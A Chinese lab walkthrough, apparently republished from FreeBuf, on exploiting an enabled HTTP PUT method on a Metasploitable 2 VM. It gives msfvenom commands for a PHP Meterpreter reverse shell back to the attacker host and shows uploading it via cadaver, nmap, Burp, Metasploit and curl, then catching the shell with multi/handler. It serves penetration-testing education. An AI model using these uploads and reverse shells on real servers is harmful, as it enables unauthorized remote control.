Loading [MathJax]/jax/input/TeX/config.js
前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
圈层
工具
发布
首页
学习
活动
专区
圈层
工具
社区首页 >专栏 >安全研究 | 多种方式利用HTTP PUT方法漏洞

安全研究 | 多种方式利用HTTP PUT方法漏洞

作者头像
FB客服
发布于 2021-03-24 05:57:39
发布于 2021-03-24 05:57:39
6.9K00
代码可运行
举报
文章被收录于专栏:FreeBufFreeBuf
运行总次数:0
代码可运行

今天分享的文章是对HTTP PUT方法开启漏洞的多种应用讲析,在实战场景中,首先我们要确定目标网站是否启用了HTTP PUT方法,如果启用的话,我们就可以结合多种利用工具和相关方法,向目标网站上传Meterpreter反弹shell,实现进一步的渗透控制。一起来看看。

HTTP PUT方法介绍

HTTP PUT方法最早目的用于文件管理操作,可以对网站服务器中的文件实现更改删除的更新操作,该方法往往可以导致各种文件上传漏洞,造成严重的网站攻击事件。在实际运用中,若必须启用该方法,则需要对该方法涉及的相关文件资源做好严格的访问权限控制。

测试环境

目标机器:Metasploitable 2 -IP地址192.168.1.103 攻击机器:Kali Linux -IP地址 192.168.1.105

Nikto扫描目标机器HTTP PUT方法是否启用

假设我们的攻击机器Kali Linux IP地址为192.168.1.105,目标机器IP地址为192.168.1.103,且目标机器部署了WebDAV服务,一般情况下WebDAV会集成HTTP GET\PUT\POST\GET等多种方法。如下:

首先,我们需要确定目标机器是否开启HTTP PUT方法。这里我们用到了扫描探测工具Nikto:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
nikto -h http://192.168.1.103/dav/

从探测结果可知,目标机器启用了HTTP PUT方法,那接下来,我们就考虑用多种方法向该目标机器中上传恶意PHP文件,实现进一步渗透控制。

用Msfvenom来生成反弹控制Shell

Msfvenom模块可用以下命令来自动生成我们想要的PHP反弹控制Shell,该Shell文件就是我们将要上传的恶意PHP文件:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.1.105 lport=4444 -f raw

复制以上黄色部分,即从<?php到die()的字段内容,并以名称shell.php保存在桌面(Desktop),以备后用。同时,我们用msfconsole命令打开Metasploit,使用模块multi/handler,执行PHP shell上传后的监听连接。

用Cadaver实现对HTTP PUT方法的漏洞利用

Cadaver是Kali中用来执行从WebDAV中上传下载文件的一个命令行工具,通过以下命令进行目标机器dav目录:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
cadaver http://192.168.1.103/dav/

然后,执行shell.php上传命令:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
put /root/Desktop/shell.php

访问链接192.168.1.103/dav/查看shell.php是否上传成功,可见已经成功上传:

使用之前提到的Metasploit模块multi/handler,设置LHOST 、LPORT(端口)后,以命令exploit执行后续对本机192.168.1.105:4444的监听:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
msf> use exploit/multi/handlermsf exploit(handler) > set payload php/meterpreter/reverse_tcpmsf exploit(handler) > set lhost 192.168.1.105msf exploit(handler) > set lport 4444msf exploit(handler) > exploit

然后,我们访问刚才目标机器http://192.168.1.103/dav/中上传的shell.php文件,点击访问它,之后,在我们的Metasploit中即会返回一个监听反弹连接,接着输入命令meterpreter>sysinfo,即可查看到目标机器的相关操作系统信息:

用Nmap实现对HTTP PUT方法的漏洞利用

Nmap是大家再熟悉不过的安全工具了,如果目标机器开启了PUT方法,那么我们同样用Nmap可以执行shell上传,只不过我们需要事先定义好相关的上传路径和上传文件,这里就把上传路径为设置为/dav/,上传文件shell还是之前的shell.php,此处为了有所区分,我们把其名称变换为nmap.php:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
nmap -p 80 192.168.1.103 —script http-put —script-args http-put.url=/dav/nmap.php’,http-put.file=/root/Desktop/nmap.php’

nmap.php成功上传后,我们一样可通过目标机器中的URL链接访问确认:

同样的,使用Metasploit模块multi/handler,设置LHOST 、LPORT(端口)后,执行对本机192.168.1.105:4444的监听,然后我们访问目标机器上的nmap.php,Metasploit中就会成功返回一个控制连接shell:

用Poster实现对HTTP PUT方法的漏洞利用

Poster是Firefox的一个应用插件,用来实现终端用户与远程Web服务端之间的HTTP交互,其中包含了GET, POST, PUT 和DELETE方法,以及相应的请求内容和请求体构造。

这里,事先准备好需要上传的poster.php(即之前的shell.php),在Firefox中安装Poster插件,从Firefox菜单栏中打开Poster,在目标URL区域按照以下URL链接填入,并选择本地桌面的poster.php作为上传文件,执行PUT操作。

访问192.168.1.103/dav,确认poster.php被成功上传:

使用Metasploit模块multi/handler,设置LHOST 、LPORT(端口)后,执行对本机192.168.1.105:4444的监听,然后我们访问目标机器上的poster.php,Metasploit中就会成功返回一个控制连接shell:

用Burpsuite实现对HTTP PUT方法的漏洞利用

Burpsuite是当前流行的测试利器了,通过配置拦截Intercept代理,开启拦截Intercept is on后,我们访问http://192.168.1.103,即可在拦截区域中发现以下GET请求:

右键点击Send to the repeater,之后,我们把GET访求替换为PUT方法,并定义相关上传文件,即PUT /dav/burp.php HTTP/1.1,另外还需把之前的shell.php内容粘贴在末尾,执行PUT请求,目标机器给出成功响应,如下图所示:

访问192.168.1.103/dav,确认burp.php已成功上传:

使用Metasploit模块multi/handler,设置LHOST 、LPORT(端口)后,执行对本机192.168.1.105:4444的监听,然后我们访问目标机器上的burp.php,Metasploit中就会成功返回一个控制连接shell:

用Metasploit实现对HTTP PUT方法的漏洞利用

这里,我们还要说说用Metasploit本身来对PUT方法的漏洞利用,用其内置的auxiliary/scanner/http/http_put模块就能完成相关shell文件meter.php的上传操作:

访问192.168.1.103/dav,确认meter.php已成功上传:

使用Metasploit模块multi/handler设置监听,访问目标机器上的meter.php,Metasploit监听进程就会成功返回一个控制连接shell:

用cURL实现对HTTP PUT方法的漏洞利用

最后要说的当然还有cURL了,cURL也是一个流行的命令行HTTP交互工具,可用它来执行HTTPS, FTP, SCP, LDAP, Telnet等多种协议的通信交互。这里,我们用以下命令来执行对目标机器的shell文件curl.php的上传:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
curl http://192.168.1.103/dav/ —upload-file /root/Desktop/curl.php -v

访问192.168.1.103/dav,确认curl.php已成功上传:

同样,使用Metasploit模块multi/handler设置监听,访问目标机器上的curl.php,成功返回对目标机器的控制连接shell:

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2021-03-17,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 FreeBuf 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
暂无评论
推荐阅读
编辑精选文章
换一批
干货 | 一款开源自动化安全漏洞利用和测试工具Metasploit超详细快速入门指南
The Metasploit Framework的简称。MSF高度模块化,即框架由多个module组成,是全球最受欢迎的工具。
网络安全自修室
2022/12/06
2.1K0
干货 | 一款开源自动化安全漏洞利用和测试工具Metasploit超详细快速入门指南
metasploit framework的一些使用姿势
Meterpreter的persistence脚本允许注入Meterpreter代理,以确保系统重启之后Meterpreter还能运行。
红客突击队
2022/09/29
1.1K0
Vulnstack 内网渗透(一)
开放的80和3306端口 看到开放了3306就想到了phpmyadmin服务,尝试下发现真的存在
ly0n
2021/04/22
7510
Metasploit-使用详解
测试者利用它来攻击一个系统,程序,或服务,以获得开发者意料之外的结果。常见的 有内存溢出,网站程序漏洞利用,配置错误exploit。
偏有宸机
2020/11/04
1.3K0
msfconsole模块_msfconsole下载
测试者利用它来攻击一个系统,程序,或服务,以获得开发者意料之外的结果。常见的有内存溢出,网站程序漏洞利用,配置错误exploit。 exploits总的来说共分为两类溢出(exploit)攻击方法,即主动溢出和被动溢出。主动溢出是针对目标主机的漏洞主动的进行攻击以获得控制权限,被动溢出是针 对目标主机被动的监听然后获得相应的操作。 Exploit共分为13种,分别是:ais、bsdi、dialup、freebsd、hpux、irix、linux、multi、netware、osx、solaris、unix、windows。其中windows下面的最多。
全栈程序员站长
2022/10/04
3260
Windows 系统部署 Metasploit Framework
Metasploit是一款开源的安全漏洞检测工具,可以帮助安全和IT专业人士识别安全性问题,验证漏洞的缓解措施,并管理专家驱动的安全性进行评估,提供真正的安全风险情报。Metasploit是少数几个可用于执行诸多渗透测试步骤的工具,其社区拥有超过200000名成员,是全球最大的信息安全交流社区。当前社区成员及Rapid7核心研发团队每天都在更新Metasploit功能框架,不断完善,来给渗透测试从业者更优的使用体验。
LuckySec
2022/11/02
2.5K0
Windows 系统部署 Metasploit Framework
靶机:WinXPenSP3
下载链接:https://jwt1399.lanzoui.com/iv2VJde68vc
小简
2023/01/01
7910
靶机:WinXPenSP3
黑客玩具入门——4、漏洞扫描与Metasploit
Legion是Sparta的一个分支,它是一个开源的、易于使用的、超级可扩展的、半自动的网络渗透测试框架。它是一款Kali Linux系统默认集成的Python GUI应用程序工具。Legion是一个Nmap、Nikto、Hydra等工具的集合,利用各个工具的优秀功能,完成收集信息、扫描和爆破等任务。
zaking
2023/12/01
2.4K0
黑客玩具入门——4、漏洞扫描与Metasploit
生成msf常用payload
msf作为一款强大的漏洞检测工具,如何生成适用于msf的payload以及如何利用是使用msf的关键,今天就主要记录一下常用的payload以及如何使用。生成payload使用的工具是MSFVenom,下面看看他的帮助信息。
信安之路
2018/08/08
2K0
生成msf常用payload
Metasploit学习笔记
Metasploit就是一个漏洞框架。它的全称叫做The Metasploit Framework,简称叫做MSF。Metasploit作为全球最受欢迎的工具,不仅仅是因为它的方便性和强大性,更重要的是它的框架。它允许使用者开发自己的漏洞脚本,从而进行测试。
HACK学习
2019/08/07
1.4K0
渗透测试工具——Metasploit[通俗易懂]
操作机:Kali Linux 2021.1, Metasploit Frameworks 6.0.30 目标机:Windows Server 2003 sp2中文版(含ms08-067漏洞)Windows xp 英文版
全栈程序员站长
2022/09/21
4.3K0
渗透测试工具——Metasploit[通俗易懂]
从红队视角看AWD攻击
上传之后,访问该页面,就会不断生成shell.php,我们就直接可以利用shell.php。
FB客服
2023/02/16
5370
从红队视角看AWD攻击
ATT&CK红队评估实战靶场四
配置 web 192.168.205.130 192.168.150.132 win7 192.168.205.128 DC 192.168.205.131 kali攻击机 192.168.150.128
MssnHarvey
2022/12/05
9200
ATT&CK红队评估实战靶场四
[系统安全] 三十八.Metasploit后渗透技术信息收集、权限提权和功能模块详解及防护建议
首先,祝大家中秋节和教师节快乐,每逢佳节倍思亲!其次,希望家乡疫情早日结束,贵阳贵安加油!
Eastmount
2022/11/25
2.2K0
Metasploit工具你需要知道的功能
Metasploit是一个免费的渗透测试框架,包含了大量的渗透测试工具和漏洞利用代码。使用Metasploit可以方便地进行漏洞扫描、漏洞利用、获取目标系统SHELL等操作。
用户9006224
2023/10/11
3040
Metasploit 生成各种后门
Metasploit 是一款开源的安全漏洞检测工具,可以帮助安全和IT专业人士识别安全性问题,验证漏洞的缓解措施,同时该工具也是渗透测试环境中的利器,它支持多平台Payload的生成具有完全的跨平台性,本次实验将学会生成各种攻击载荷。
微软技术分享
2022/12/28
1.1K0
记一次内网渗透过程
Administrator/Admin@123、vulntarget.com\win2016/Admin#123
红队蓝军
2024/06/17
1390
记一次内网渗透过程
反弹shell的使用
TomatoCool
2023/07/30
2670
KALI 内网渗透记录
虚拟机 KALI: 192.168.180.128 目标机器: 192.168.1.52
院长技术
2020/08/19
2.9K0
小白入门学习内网之横向渗透攻击流程
这里有绝对路径的情况下,可直接写入webshell。这里使用sqlmap os-shell的功能
Power7089
2020/05/25
3.2K1
小白入门学习内网之横向渗透攻击流程
相关推荐
干货 | 一款开源自动化安全漏洞利用和测试工具Metasploit超详细快速入门指南
更多 >
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档
查看详情【社区公告】 技术创作特训营有奖征文
本文部分代码块支持一键运行,欢迎体验
本文部分代码块支持一键运行,欢迎体验